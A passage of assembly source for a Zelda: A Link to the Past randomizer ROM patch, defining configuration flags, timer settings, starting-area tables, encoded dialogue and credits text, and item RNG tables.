PC 0x18017F DisableFlashing: db #$01 ; #$00 = Flashing Enabled (Default) - #$01 = Flashing Disabled ;================================================================================ ;---- --hb ;h - Hookshot ;b - Boomerang org $400180 ; PC 0x180180 StunItemAction: db #$03 ; #$03 = Hookshot and Boomerang (Default) ;================================================================================ org $400181 ; PC 0x180181 SilverArrowsUseRestriction: db #$00 ; #$00 = Off (Default) - #$01 = Only At Ganon ;================================================================================ org $400182 ; PC 0x180182 SilverArrowsAutoEquip: db #$01 ; #$00 = Off - #$01 = Collection Time (Default) - #$02 = Entering Ganon - #$03 = Collection Time & Entering Ganon ;================================================================================ org $400183 ; PC 0x180183 FreeUncleItemAmount: dw #$12C ; 300 rupees (Default) ;-------------------------------------------------------------------------------- org $400185 ; PC 0x180185 RainDeathRefillTable: RainDeathRefillMagic_Uncle: db #$00 RainDeathRefillBombs_Uncle: db #$00 RainDeathRefillArrows_Uncle: db #$00 RainDeathRefillMagic_Cell: db #$00 RainDeathRefillBombs_Cell: db #$00 RainDeathRefillArrows_Cell: db #$00 RainDeathRefillMagic_Mantle: db #$00 RainDeathRefillBombs_Mantle: db #$00 RainDeathRefillArrows_Mantle: db #$00 ;================================================================================ ; 0x18018E - 0x18018F (unused) ;================================================================================ org $400190 ; PC 0x180190 - 0x180192 TimerStyle: db #$00 ; #$00 = Off (Default) - #$01 Countdown - #$02 = Stopwatch TimeoutBehavior: db #$00 ; #$00 = DNF (Default) - #$01 = Sign Change (Requires TimerRestart == 1) - #$02 = OHKO - #$03 = End Game TimerRestart: db #$00 ; #$00 = Locked (Default) - #$01 = Restart ;-------------------------------------------------------------------------------- ; 0x180193 - 0x1801FF (unused) ;================================================================================ org $400200 ; PC 0x180200 - 0x18020F RedClockAmount: dw #$4650, #$0000 ; $00004650 = +5 minutes BlueClockAmount: dw #$B9B0, #$FFFF ; $FFFFB9B0 = -5 minutes GreenClockAmount: dw #$0000, #$0000 StartingTime: dw #$0000, #$0000 ; #$A5E0, #$0001 = 30 minutes ;================================================================================ org $09E3BB ; PC 0x4E3BB db $E4 ; Hera Basement Key (Set to programmable HP $EB) (set to $E4 for original hookable/boomable key behavior) ;================================================================================ org $400210 ; PC 0x180210 RandomizerSeedType: db #$A0 ; #$00 = Casual (default) - #$01 = Glitched - #$02 = Speedrunner - #$FF = Not Randomizer ;-------------------------------------------------------------------------------- org $400211 ; PC 0x180211 GameType: ;---- ridn ;r - room randomization ;i - item randomization ;d - door/entrance randomization ;n - enemy randomization db #$04 ; #$00 = Not Randomized (default) ;-------------------------------------------------------------------------------- ;dgGe mutT ;d - Nonstandard Dungeon Configuration (Not Map/Compass/BigKey/SmallKeys in same quantity as vanilla) ;g - Requires Minor Glitches (Fake flippers, bomb jumps, etc) ;G - Requires Major Glitches (OW YBA/Clips, etc) ;e - Requires EG ; ;m - Contains Multiples of Major Items ;u - Contains Unreachable Items ;t - Minor Trolling (Swapped around levers, etc) ;T - Major Trolling (Forced-guess softlocks, impossible seed, etc) org $400212 ; PC 0x180212 WarningFlags: db #$00 ;-------------------------------------------------------------------------------- org $400213 ; PC 0x180213 TournamentSeed: db #$00 ; #$00 = Off (default) - #$01 = On TournamentSeedInverse: db #$01 ; #$00 = On - #$01 = Off (Default) ;-------------------------------------------------------------------------------- ; 0x180215 - 0x18021F (unused) ;================================================================================ ; $308220 (0x180220) - $30823F (0x18023F) ; Plandomizer Author Name (ASCII) - Leave unused chars as 0 org $400220 ; PC 0x180220 ;-------------------------------------------------------------------------------- ; 0x180240 - 0x1802FF (unused) ;================================================================================ ;================================================================================ ; $308240 (0x180420) - $308246 (0x180246) ; For starting areas in single entrance caves, we specify which row in the StartingAreaExitTable ; to use for exit information. Values are 1 based indexes, with 0 representing a multi-entrance cave ; start position. ; Position 0: Link's House ; Position 1: sanctuary ; Position 2: Zelda's cell ; Position 3: Wounded Uncle ; Position 4: Mantle ; Position 5: Middle of Old Man Cave ; Position 6: Old Man's House org $400240 ; PC 0x180240 StartingAreaExitOffset: db $00, $00, $00, $00, $00, $00, $00 ;-------------------------------------------------------------------------------- org $400247 ; PC 0x180247 ; For any starting areas in single entrance caves you can specify the overworld door here ; to enable drawing the doorframes These values should be the overworld door index+1. ; A value of zero will draw no door frame. StartingAreaOverworldDoor: db $00, $00, $00, $00, $00, $00, $00 ;-------------------------------------------------------------------------------- ; 0x18024E - 0x18024F (unused) ;------------------------------------------------------------------------------- ; $308250 (0x180250) - $30829F (0x18029F) org $400250 ; PC 0x180250 StartingAreaExitTable: ; This has the same format as the main Exit table, except ; is stored row major instead of column major ; it lacks the last two columns and has 1 padding byte per row (the last byte) dw $0112 : db $53 : dw $001e, $0400, $06e2, $0446, $0758, $046d, $075f : db $00, $00, $00 dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00 dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00 dw $0000 : db $00 : dw $0000, $0000, $0000, $0000, $0000, $0000, $0000 : db $00, $00, $00 ;-------------------------------------------------------------------------------- ; 0x1802A0 - 0x1802FF (unused) ;-------------------------------------------------------------------------------- ; $308300 (0x180300) - $30834F (0x18034F) org $400300 ; PC 0x180300 ExtraHole_Map16: dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF ExtraHole_Area: dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF dw $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF, $FFFF ExtraHole_Entrance: db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 ;-------------------------------------------------------------------------------- ; $308350 (0x180350) - $30834F (0x18034F) ; Correspond to the three start options ; do not set for a starting location that is using a single entrance cave org $400350 ; PC 0x180350 ShouldStartatExit: db $00, $00, $00 ;-------------------------------------------------------------------------------- ; $308358 (0x180358) fixes major glitches ; 0x00 - fix ; otherwise dont fix various major glitches org $400358 AllowAccidentalMajorGlitch: db $00 ; $308300 (0x180300) - $3083FF (0x1803FF) ; MS Pedestal Text (ALTTP JP Text Format) ; org $400300 ; PC 0x180300 ; MSPedestalText: ; db $00, $c0, $00, $ae, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b8, $00, $be, $00, $bd, $00, $ff, $00, $b8, $00, $af ; db $75, $00, $c0, $00, $ae, $00, $ae, $00, $bd, $00, $aa, $00, $ab, $00, $b2, $00, $c1, $00, $cD, $00, $ff, $00, $bd, $00, $b8 ; db $76, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $bc, $00, $bd, $00, $b8, $00, $bb, $00, $ae, $00, $c7 ; db $7f, $7f ;-------------------------------------------------------------------------------- ; $308400 (0x180400) - $3084FF (0x1804FF) ; Triforce Text (ALTTP JP Text Format) ; org $400400 ; PC 0x180400 ; TriforceText: ; db $74, $75, $00, $FF, $00, $FF, $00, $FF, $00, $FF, $00, $FF, $00, $B0, $00, $FF, $00, $B0, $7F ;-------------------------------------------------------------------------------- ; $308500 (0x180500) - $3085FF (0x1805FF) ; Uncle Text (ALTTP JP Text Format) ; org $400500 ; PC 0x180500 ; UncleText: ; db $00, $c0, $00, $ae, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b8, $00, $be, $00, $bd, $00, $ff, $00, $b8, $00, $af ; db $75, $00, $c0, $00, $ae, $00, $ae, $00, $bd, $00, $aa, $00, $ab, $00, $b2, $00, $c1, $00, $cD, $00, $ff, $00, $bd, $00, $b8 ; db $76, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $bc, $00, $bd, $00, $b8, $00, $bb, $00, $ae, $00, $c7 ; db $7f, $7f ;-------------------------------------------------------------------------------- ; $308600 (0x180600) - $3086FF (0x1806FF) ; Ganon Text 1 (ALTTP JP Text Format) ; org $400600 ; PC 0x180600 ; GanonText1: ; db $00, $c0, $00, $ae, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b8, $00, $be, $00, $bd, $00, $ff, $00, $b8, $00, $af ; db $75, $00, $c0, $00, $ae, $00, $ae, $00, $bd, $00, $aa, $00, $ab, $00, $b2, $00, $c1, $00, $cD, $00, $ff, $00, $bd, $00, $b8 ; db $76, $00, $bd, $00, $b1, $00, $ae, $00, $ff, $00, $bc, $00, $bd, $00, $b8, $00, $bb, $00, $ae, $00, $c7 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308700 (0x180700) - $3087FF (0x1807FF) ; ; Ganon Text 2 (ALTTP JP Text Format) ; org $400700 ; PC 0x180700 ; GanonText2: ; db $00, $c2, $00, $b8, $00, $be, $00, $d8, $00, $bb, $00, $ae, $00, $ff, $00, $b0, $00, $b8, $00, $b2, $00, $b7, $00, $b0 ; db $75, $00, $bd, $00, $b8, $00, $ff, $00, $b1, $00, $aa, $00, $bf, $00, $ae, $00, $ff, $00, $aa, $00, $ff, $00, $bf, $00, $ae, $00, $bb, $00, $c2 ; db $76, $00, $ab, $00, $aa, $00, $ad, $00, $ff, $00, $bd, $00, $b2, $00, $b6, $00, $ae, $00, $cD ; db $7f, $7f ;-------------------------------------------------------------------------------- ; $308800 (0x180800) - $3088FF (0x1808FF) ; Blind Text ; org $400800 ; PC 0x180800 ; BlindText: ; db $75, $00, $cE, $00, $a6, $00, $a9, $00, $ff, $00, $ab, $00, $b5, $00, $aa, $00, $c3, $00, $ae, $00, $ff, $00, $b2, $00, $bd, $00, $c7, $00, $cE ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308900 (0x180900) - $3089FF (0x1809FF) ; ; Fat Fairy Text ; org $400900 ; PC 0x180900 ; PyramidFairyText: ; db $00, $b1, $00, $ae, $00, $c2, $00, $c7 ; db $76, $00, $b5, $00, $b2, $00, $bc, $00, $bd, $00, $ae, $00, $b7, $00, $c7 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308A00 (0x180A00) - $308AFF (0x180AFF) ; ; SahasrahlaNoPendantText ; org $400A00 ; PC 0x180A00 ; SahasrahlaNoPendantText: ; ; Want something|for free? Tell|you what|bring me the|green pendant. ; db $74, $00, $C0, $00, $AA, $00, $B7, $00, $BD, $00, $FF, $00, $BC, $00, $B8, $00, $B6, $00, $AE, $00, $BD, $00, $B1, $00, $B2, $00, $B7, $00, $B0, $75, $00, $AF, $00, $B8, $00, $BB, $00, $FF, $00, $AF, $00, $BB, $00, $AE, $00, $AE, $00, $C6, $00, $FF, $00, $BD, $00, $AE, $00, $B5, $00, $B5, $76, $00, $C2, $00, $B8, $00, $BE, $00, $FF, $00, $C0, $00, $B1, $00, $AA, $00, $BD, $00, $CC, $7E, $73, $76, $00, $AB, $00, $BB, $00, $B2, $00, $B7, $00, $B0, $00, $FF, $00, $B6, $00, $AE, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $73, $76, $00, $B0, $00, $BB, $00, $AE, $00, $AE, $00, $B7, $00, $FF, $00, $B9, $00, $AE, $00, $B7, $00, $AD, $00, $AA, $00, $B7, $00, $BD, $00, $CD ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308B00 (0x180B00) - $308BFF (0x180BFF) ; ; SahasrahlaAfterItemText ; org $400B00 ; PC 0x180B00 ; SahasrahlaAfterItemText: ; ; I already gave|you all I have|Why don't you|go bother|someone else? ; db $74, $00, $B2, $00, $FF, $00, $AA, $00, $B5, $00, $BB, $00, $AE, $00, $AA, $00, $AD, $00, $C2, $00, $FF, $00, $B0, $00, $AA, $00, $BF, $00, $AE, $75, $00, $C2, $00, $B8, $00, $BE, $00, $FF, $00, $AA, $00, $B5, $00, $B5, $00, $FF, $00, $B2, $00, $FF, $00, $B1, $00, $AA, $00, $BF, $00, $AE, $76, $00, $C0, $00, $B1, $00, $C2, $00, $FF, $00, $AD, $00, $B8, $00, $B7, $00, $D8, $00, $BD, $00, $FF, $00, $C2, $00, $B8, $00, $BE, $7E, $73, $76, $00, $B0, $00, $B8, $00, $FF, $00, $AB, $00, $B8, $00, $BD, $00, $B1, $00, $AE, $00, $BB, $73, $76, $00, $BC, $00, $B8, $00, $B6, $00, $AE, $00, $B8, $00, $B7, $00, $AE, $00, $FF, $00, $AE, $00, $B5, $00, $BC, $00, $AE, $00, $C6 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308C00 (0x180C00) - $308CFF (0x180CFF) ; ; AlcoholicText ; org $400C00 ; PC 0x180C00 ; AlcoholicText: ; ; If you haven't|found Quake|yet|it's not your|fault. ; db $74, $00, $B2, $00, $AF, $00, $FF, $00, $C2, $00, $B8, $00, $BE, $00, $FF, $00, $B1, $00, $AA, $00, $BF, $00, $AE, $00, $B7, $00, $D8, $00, $BD, $75, $00, $AF, $00, $B8, $00, $BE, $00, $B7, $00, $AD, $00, $FF, $00, $BA, $00, $BE, $00, $AA, $00, $B4, $00, $AE, $76, $00, $C2, $00, $AE, $00, $BD, $00, $CC, $7E, $73, $76, $00, $B2, $00, $BD, $00, $D8, $00, $BC, $00, $FF, $00, $B7, $00, $B8, $00, $BD, $00, $FF, $00, $C2, $00, $B8, $00, $BE, $00, $BB, $73, $76, $00, $AF, $00, $AA, $00, $BE, $00, $B5, $00, $BD, $00, $CD ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308D00 (0x180D00) - $308DFF (0x180DFF) ; ; BombShopGuyText ; org $400D00 ; PC 0x180D00 ; BombShopGuyText: ; ; please deliver|this big bomb|to my fairy|friend in the|pyramid? ; db $74, $00, $B9, $00, $B5, $00, $AE, $00, $AA, $00, $BC, $00, $AE, $00, $FF, $00, $AD, $00, $AE, $00, $B5, $00, $B2, $00, $BF, $00, $AE, $00, $BB, $75, $00, $BD, $00, $B1, $00, $B2, $00, $BC, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $00, $FF, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $76, $00, $BD, $00, $B8, $00, $FF, $00, $B6, $00, $C2, $00, $FF, $00, $AF, $00, $AA, $00, $B2, $00, $BB, $00, $C2, $7E, $73, $76, $00, $AF, $00, $BB, $00, $B2, $00, $AE, $00, $B7, $00, $AD, $00, $FF, $00, $B2, $00, $B7, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $73, $76, $00, $B9, $00, $C2, $00, $BB, $00, $AA, $00, $B6, $00, $B2, $00, $AD, $00, $C6 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308E00 (0x180E00) - $308EFF (0x180EFF) ; ; BombShopGuyNoCrystalsText ; org $400E00 ; PC 0x180E00 ; BombShopGuyNoCrystalsText: ; ; bring me the|5th and 6th|crystals so I|can make a big|bomb! ; db $74, $00, $AB, $00, $BB, $00, $B2, $00, $B7, $00, $B0, $00, $FF, $00, $B6, $00, $AE, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $75, $00, $A5, $00, $BD, $00, $B1, $00, $FF, $00, $AA, $00, $B7, $00, $AD, $00, $FF, $00, $A6, $00, $BD, $00, $B1, $76, $00, $AC, $00, $BB, $00, $C2, $00, $BC, $00, $BD, $00, $AA, $00, $B5, $00, $BC, $00, $FF, $00, $BC, $00, $B8, $00, $FF, $00, $B2, $7E, $73, $76, $00, $AC, $00, $AA, $00, $B7, $00, $FF, $00, $B6, $00, $AA, $00, $B4, $00, $AE, $00, $FF, $00, $AA, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $73, $76, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $00, $C7 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $308F00 (0x180F00) - $308FFF (0x180FFF) ; ; EtherTabletText ; org $400F00 ; PC 0x180F00 ; EtherTabletText: ; ; bring me the|5th and 6th|crystals so I|can make a big|bomb! ; db $74, $00, $AB, $00, $BB, $00, $B2, $00, $B7, $00, $B0, $00, $FF, $00, $B6, $00, $AE, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $75, $00, $A5, $00, $BD, $00, $B1, $00, $FF, $00, $AA, $00, $B7, $00, $AD, $00, $FF, $00, $A6, $00, $BD, $00, $B1, $76, $00, $AC, $00, $BB, $00, $C2, $00, $BC, $00, $BD, $00, $AA, $00, $B5, $00, $BC, $00, $FF, $00, $BC, $00, $B8, $00, $FF, $00, $B2, $7E, $73, $76, $00, $AC, $00, $AA, $00, $B7, $00, $FF, $00, $B6, $00, $AA, $00, $B4, $00, $AE, $00, $FF, $00, $AA, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $73, $76, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $00, $C7 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $309000 (0x181000) - $3090FF (0x1810FF) ; ; BombosTabletText ; org $401000 ; PC 0x181000 ; BombosTabletText: ; ; please deliver|this big bomb|to my fairy|friend in the|pyramid? ; db $74, $00, $B9, $00, $B5, $00, $AE, $00, $AA, $00, $BC, $00, $AE, $00, $FF, $00, $AD, $00, $AE, $00, $B5, $00, $B2, $00, $BF, $00, $AE, $00, $BB, $75, $00, $BD, $00, $B1, $00, $B2, $00, $BC, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $00, $FF, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $76, $00, $BD, $00, $B8, $00, $FF, $00, $B6, $00, $C2, $00, $FF, $00, $AF, $00, $AA, $00, $B2, $00, $BB, $00, $C2, $7E, $73, $76, $00, $AF, $00, $BB, $00, $B2, $00, $AE, $00, $B7, $00, $AD, $00, $FF, $00, $B2, $00, $B7, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $73, $76, $00, $B9, $00, $C2, $00, $BB, $00, $AA, $00, $B6, $00, $B2, $00, $AD, $00, $C6 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $309100 (0x181100) - $3091FF (0x1811FF) ; ; Ganon Text 1 - Invincible Alternate (ALTTP JP Text Format) ; org $401100 ; PC 0x181100 ; GanonText1Alternate: ; ; bring me the|5th and 6th|crystals so I|can make a big|bomb! ; db $74, $00, $AB, $00, $BB, $00, $B2, $00, $B7, $00, $B0, $00, $FF, $00, $B6, $00, $AE, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $75, $00, $A5, $00, $BD, $00, $B1, $00, $FF, $00, $AA, $00, $B7, $00, $AD, $00, $FF, $00, $A6, $00, $BD, $00, $B1, $76, $00, $AC, $00, $BB, $00, $C2, $00, $BC, $00, $BD, $00, $AA, $00, $B5, $00, $BC, $00, $FF, $00, $BC, $00, $B8, $00, $FF, $00, $B2, $7E, $73, $76, $00, $AC, $00, $AA, $00, $B7, $00, $FF, $00, $B6, $00, $AA, $00, $B4, $00, $AE, $00, $FF, $00, $AA, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $73, $76, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $00, $C7 ; db $7f, $7f ; ;-------------------------------------------------------------------------------- ; ; $309200 (0x181200) - $3092FF (0x1812FF) ; ; Ganon Text 2 - Invincible Alternate (ALTTP JP Text Format) ; org $401200 ; PC 0x181200 ; GanonText2Alternate: ; ; please deliver|this big bomb|to my fairy|friend in the|pyramid? ; db $74, $00, $B9, $00, $B5, $00, $AE, $00, $AA, $00, $BC, $00, $AE, $00, $FF, $00, $AD, $00, $AE, $00, $B5, $00, $B2, $00, $BF, $00, $AE, $00, $BB, $75, $00, $BD, $00, $B1, $00, $B2, $00, $BC, $00, $FF, $00, $AB, $00, $B2, $00, $B0, $00, $FF, $00, $AB, $00, $B8, $00, $B6, $00, $AB, $76, $00, $BD, $00, $B8, $00, $FF, $00, $B6, $00, $C2, $00, $FF, $00, $AF, $00, $AA, $00, $B2, $00, $BB, $00, $C2, $7E, $73, $76, $00, $AF, $00, $BB, $00, $B2, $00, $AE, $00, $B7, $00, $AD, $00, $FF, $00, $B2, $00, $B7, $00, $FF, $00, $BD, $00, $B1, $00, $AE, $73, $76, $00, $B9, $00, $C2, $00, $BB, $00, $AA, $00, $B6, $00, $B2, $00, $AD, $00, $C6 ; db $7f, $7f ;-------------------------------------------------------------------------------- ; $309300 (0x181300) - $3094FF (0x1814FF) ; free space (unused) ;-------------------------------------------------------------------------------- ; $309500 (0x181500) - $309FFF (0x181FFF) original 0x39C bytes ; Replacement Ending Sequence Text Data ; if you modify this table you will need to modify the pointers to it located at $0EECC0 org $401500 ; PC 0x181500 EndingSequenceText: ; the return of the king db $62, $65, $00, $2B, $2D, $21, $1E, $9F, $2B, $1E, $2D, $2E, $2B, $27, $9F, $28, $1F, $9F, $2D, $21, $1E, $9F, $24, $22, $27, $20 db $62, $E9, $00, $19, $64, $75, $6E, $71, $68, $61, $9F, $5F, $5D, $6F, $70, $68, $61 db $63, $09, $00, $19, $8A, $9B, $94, $97, $8E, $87, $9F, $85, $83, $95, $96, $8E, $87 ; the loyal priest db $62, $68, $00, $1F, $2D, $21, $1E, $9F, $25, $28, $32, $1A, $25, $9F, $29, $2B, $22, $1E, $2C, $2D db $62, $EB, $00, $11, $6F, $5D, $6A, $5F, $70, $71, $5D, $6E, $75 db $63, $0B, $00, $11, $95, $83, $90, $85, $96, $97, $83, $94, $9B ; sahasralah's homecoming db $62, $4F, $00, $01, $34 db $62, $65, $00, $2D, $2C, $1A, $21, $1A, $2C, $2B, $1A, $25, $1A, $21, $35, $2C, $9F, $21, $28, $26, $1E, $1C, $28, $26, $22, $27, $20 db $62, $E9, $00, $19, $67, $5D, $67, $5D, $6E, $65, $67, $6B, $9F, $70, $6B, $73, $6A db $63, $09, $00, $19, $8D, $83, $8D, $83, $94, $8B, $8D, $91, $9F, $96, $91, $99, $90 ; vultures rule the desert db $62, $64, $00, $2F, $2F, $2E, $25, $2D, $2E, $2B, $1E, $2C, $9F, $2B, $2E, $25, $1E, $9F, $2D, $21, $1E, $9F, $1D, $1E, $2C, $1E, $2B, $2D db $62, $E9, $00, $19, $60, $61, $6F, $61, $6E, $70, $9F, $6C, $5D, $68, $5D, $5F, $61 db $63, $09, $00, $19, $86, $87, $95, $87, $94, $96, $9F, $92, $83, $8E, $83, $85, $87 ; the bully makes a friend db $62, $64, $00, $2F, $2D, $21, $1E, $9F, $1B, $2E, $25, $25, $32, $9F, $26, $1A, $24, $1E, $2C, $9F, $1A, $9F, $1F, $2B, $22, $1E, $27, $1D db $62, $E9, $00, $1B, $69, $6B, $71, $6A, $70, $5D, $65, $6A, $9F, $70, $6B, $73, $61, $6E db $63, $09, $00, $1B, $8F, $91, $97, $90, $96, $83, $8B, $90, $9F, $96, $91, $99, $87, $94 ; your uncle recovers db $62, $66, $00, $25, $32, $28, $2E, $2B, $9F, $2E, $27, $1C, $25, $1E, $9F, $2B, $1E, $1C, $28, $2F, $1E, $2B, $2C db $62, $EB, $00, $13, $75, $6B, $71, $6E, $9F, $64, $6B, $71, $6F, $61 db $63, $0B, $00, $13, $9B, $91, $97, $94, $9F, $8A, $91, $97, $95, $87 ; finger webs for sale db $62, $66, $00, $27, $1F, $22, $27, $20, $1E, $2B, $9F, $30, $1E, $1B, $2C, $9F, $1F, $28, $2B, $9F, $2C, $1A, $25, $1E db $62, $E8, $00, $1F, $76, $6B, $6E, $5D, $77, $6F, $9F, $73, $5D, $70, $61, $6E, $62, $5D, $68, $68 db $63, $08, $00, $1F, $9C, $91, $94, $83, $9D, $95, $9F, $99, $83, $96, $87, $94, $88, $83, $8E, $8E ; the witch and assistant db $62, $64, $00, $2D, $2D, $21, $1E, $9F, $30, $22, $2D, $1C, $21, $9F, $1A, $27, $1D, $9F, $1A, $2C, $2C, $22, $2C, $2D, $1A, $27, $2D db $62, $EB, $00, $13, $69, $5D, $63, $65, $5F, $9F, $6F, $64, $6B, $6C db $63, $0B, $00, $13, $8F, $83, $89, $8B, $85, $9F, $95, $8A, $91, $92 ; twin lumberjacks db $62, $68, $00, $1F, $2D, $30, $22, $27, $9F, $25, $2E, $26, $1B, $1E, $2B, $23, $1A, $1C, $24, $2C db $62, $E9, $00, $1B, $73, $6B, $6B, $60, $6F, $69, $61, $6A, $77, $6F, $9F, $64, $71, $70 db $63, $09, $00, $1B, $99, $91, $91, $86, $95, $8F, $87, $90, $9D, $95, $9F, $8A, $97, $96 ; ocarina boy plays again db $62, $64, $00, $2D, $28, $1C, $1A, $2B, $22, $27, $1A, $9F, $1B, $28, $32, $9F, $29, $25, $1A, $32, $2C, $9F, $1A, $20, $1A, $22, $27 db $62, $E9, $00, $19, $64, $5D, $71, $6A, $70, $61, $60, $9F, $63, $6E, $6B, $72, $61 db $63, $09, $00, $19, $8A, $83, $97, $90, $96, $87, $86, $9F, $89, $94, $91, $98, $87 ; venus. queen of faeries db $62, $64, $00, $2D, $2F, $1E, $27, $2E, $2C, $37, $9F, $2A, $2E, $1E, $1E, $27, $9F, $28, $1F, $9F, $1F, $1A, $1E, $2B, $22, $1E, $2C db $62, $EA, $00, $17, $73, $65, $6F, $64, $65, $6A, $63, $9F, $73, $61, $68, $68 db $63, $0A, $00, $17, $99, $8B, $95, $8A, $8B, $90, $89, $9F, $99, $87, $8E, $8E ; the dwarven swordsmiths db $62, $64, $00, $2D, $2D, $21, $1E, $9F, $1D, $30, $1A, $2B, $2F, $1E, $27, $9F, $2C, $30, $28, $2B, $1D, $2C, $26, $22, $2D, $21, $2C db $62, $EC, $00, $0F, $6F, $69, $65, $70, $64, $61, $6E, $75 db $63, $0C, $00, $0F, $95, $8F, $8B, $96, $8A, $87, $94, $9B ; the bug-catching kid db $62, $66, $00, $27, $2D, $21, $1E, $9F, $1B, $2E, $20, $36, $1C, $1A, $2D, $1C, $21, $22, $27, $20, $9F, $24, $22, $1D db $62, $E9, $00, $19, $67, $5D, $67, $5D, $6E, $65, $67, $6B, $9F, $70, $6B, $73, $6A db $63, $09, $00, $19, $8D, $83, $8D, $83, $94, $8B, $8D, $91, $9F, $96, $91, $99, $90 ; the lost old man db $62, $48, $00, $1F, $2D, $21, $1E, $9F, $25, $28, $2C, $2D, $9F, $28, $25, $1D, $9F, $26, $1A, $27 db $62, $E9, $00, $1B, $60, $61, $5D, $70, $64, $9F, $69, $6B, $71, $6A, $70, $5D, $65, $6A db $63, $09, $00, $1B, $86, $87, $83, $96, $8A, $9F, $8F, $91, $97, $90, $96, $83, $8B, $90 ; the forest thief db $62, $68, $00, $1F, $2D, $21, $1E, $9F, $1F, $28, $2B, $1E, $2C, $2D, $9F, $2D, $21, $22, $1E, $1F db $62, $EB, $00, $13, $68, $6B, $6F, $70, $9F, $73, $6B, $6B, $60, $6F db $63, $0B, $00, $13, $8E, $91, $95, $96, $9F, $99, $91, $91, $86, $95 ; master sword db $62, $66, $00, $27, $1A, $27, $1D, $9F, $2D, $21, $1E, $9F, $26, $1A, $2C, $2D, $1E, $2B, $9F, $2C, $30, $28, $2B, $1D db $62, $A8, $00, $1D, $4A, $43, $3C, $3C, $47, $4A, $9F, $38, $3E, $38, $40, $45, $52, $52, $52 db $62, $EC, $00, $0F, $62, $6B, $6E, $61, $72, $61, $6E, $78 db $63, $0C, $00, $0F, $88, $91, $94, $87, $98, $87, $94, $9E ;-------------------------------------------------------------------------------- ; org $0EECC0 ; PC 0x76CC0 poiters for above scenes ; dw $0000, $003C, $006A, $00AC, $00EA, $012A, $015D, $019D, $01D4, $020C, $0249, $0284, $02B7, $02F1, $0329, $0359, $039C ;================================================================================ org $402000 ; $30A000 (0x182000) - $30A07F (0x18007F) RNGSingleItemTable: db $08, $09, $0A, $0B, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF RNGSingleTableSize: db $04 org $402080 ; $30A080 (0x182080) - $30A0FF (0x1820FF) RNGMultiItemTable: db $31, $36, $40, $46, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF RNGMultiTableSize: db $04 ;-------------------------------------------------------------------------------- ; Bank 30 continues down below at EntranceDoorFrameTable ;================================================================================ ;PC 0x50563: $C5, 